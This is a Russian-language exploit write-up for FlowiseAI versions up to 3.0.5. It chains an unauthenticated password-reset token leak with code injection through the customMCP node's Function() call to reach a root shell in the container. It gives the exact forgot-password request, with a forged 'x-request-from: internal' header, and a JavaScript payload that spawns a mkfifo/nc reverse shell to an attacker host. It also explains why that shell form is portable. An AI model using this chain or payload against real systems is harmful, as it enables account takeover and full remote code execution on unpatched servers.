Критическая неаутентифицированная цепочка атак, приводящая к полному удаленному выполнению кода в FlowiseAI (CVE-2025-58434 + CVE-2025-59528)
Неаутентифицированный захват аккаунта в связке с удалённым выполнением кода против FlowiseAI
<= 3.0.5. Полная компрометация контейнера менее чем за 5 секунд, без каких-либо учётных данных.
Слева: страница входа FlowiseAI — Справа: root shell через CVE-2025-59528 · uid=0(root)
Этот эксплойт объединяет две независимые критические уязвимости в одну полностью автоматизированную атаку. Ни одна из уязвимостей по отдельности не гарантирует полной компрометации, но вместе они образуют законченную цепочку атак — от отсутствия учётных данных до root shell внутри Docker-контейнера.
[Нет учётных данных]
│
▼
① Использование forgot-password endpoint (без аутентификации)
│ → Сервер отвечает токеном сброса жертвы в открытом виде
▼
② Отправка токена на reset-password endpoint
│ → Атакующий устанавливает пароль администратора
▼
③ Вход + получение Bearer API ключа
│ → Полная аутентифицированная сессия установлена
▼
④ Отправка JavaScript payload через customMCP node
│ → Сервер выполняет его через конструктор Function()
▼
[Root shell внутри Docker контейнера]
Что делает атаку интерактивной с нулевым взаимодействием: на протяжении всей атаки жертва не получает ни письма, ни уведомления о входе, ни какого-либо видимого события. Всё происходит на стороне сервера.
CVSS 3.1: 9.8 Критический — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Затрагивает: FlowiseAI <= 3.0.5 (облачные + развёрнутые самостоятельно)
Рекомендация по безопасности: GHSA-wgpv-6j63-x5ph
В FlowiseAI существует концепция «внутренних» запросов — вызовов API между собственными сервисами, идентифицируемых HTTP-заголовком x-request-from: internal. Endpoint /api/v1/account/forgot-password использует этот заголовок, чтобы полностью пропустить аутентификацию и вернуть более развёрнутый ответ, чем для внешних вызывающих.
Проблема: этот заголовок никак не проверяется и не ограничивается. Любой атакующий из интернета может его отправить. Вместо того чтобы отправить письмо для сброса пароля, API возвращает полную запись пользователя — включая действующий tempToken, который можно немедленно использовать для установки нового пароля.
Обычно процедура сброса пароля выглядит так:
Пользователь запрашивает сброс → Сервер генерирует токен → Токен отправлен по EMAIL → Пользователь переходит по ссылке → Пароль изменён
В данном случае сервер пропускает этап отправки email и помещает токен непосредственно в тело HTTP-ответа. Атакующий перехватывает его и сразу переходит к шагу сброса — без доступа к почте.
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal
{"user": {"email": "[email protected]"}}
201 — раскрыта полная запись пользователя{
"user": {
"email": "[email protected]",
"credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
"tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
"tokenExpiry": "2026-04-11T21:37:03.063Z",
"status": "active"
}
}
Затем tempToken отправляется непосредственно на endpoint сброса — без взаимодействия с email, без CAPTCHA, без ограничения скорости запросов.

CVSS 3.1: 10.0 Критический — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Затрагивает: FlowiseAI <= 3.0.5
Рекомендация по безопасности: GHSA-3gcm-f6qx-ff7p
FlowiseAI позволяет пользователям определять пользовательские MCP (Model Context Protocol) узлы с конфигурацией сервера, передаваемой в виде JSON-строки. Внутренне платформа должна разобрать эту конфигурацию — и делает это с помощью JavaScript-конструктора Function(), который функционально эквивалентен eval().
Строка конфигурации попадает в сток абсолютно нефильтрованной:
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — строка 262
const result = Function('return ' + mcpServerConfig)();
// ↑ нефильтрованные пользовательские входные данные — произвольное выполнение JS
Function() так же опасен, как eval()Function('return ' + code)() делает следующее:
code в качестве телаЭто даёт атакующему полный контекст выполнения JavaScript с доступом к process, require, child_process и всей среде выполнения Node.js — это не песочница.
HTTP POST /api/v1/node-load-method/customMCP
└─ body.inputs.mcpServerConfig ← строка, контролируемая атакующим
└─ substituteVariablesInString() ← без фильтрации, передаётся насквозь
└─ convertToValidJSONString() ← без фильтрации, передаётся насквозь
└─ Function('return ' + input)() ← здесь выполняется произвольный код
({x:(function(){
const cp = process.mainModule.require("child_process");
cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
return 1;
})()})
Почему
mkfifo, а не/dev/tcp?
Контейнер использует/bin/sh, а не/bin/bash./dev/tcp— это функция, специфичная для bash; она отсутствует в стандартных POSIX-оболочках.mkfifoсоздаёт именованный канал, работающий в любой POSIX-совместимой оболочке, что делает реверс-шелл переносимым между различными контейнерными средами.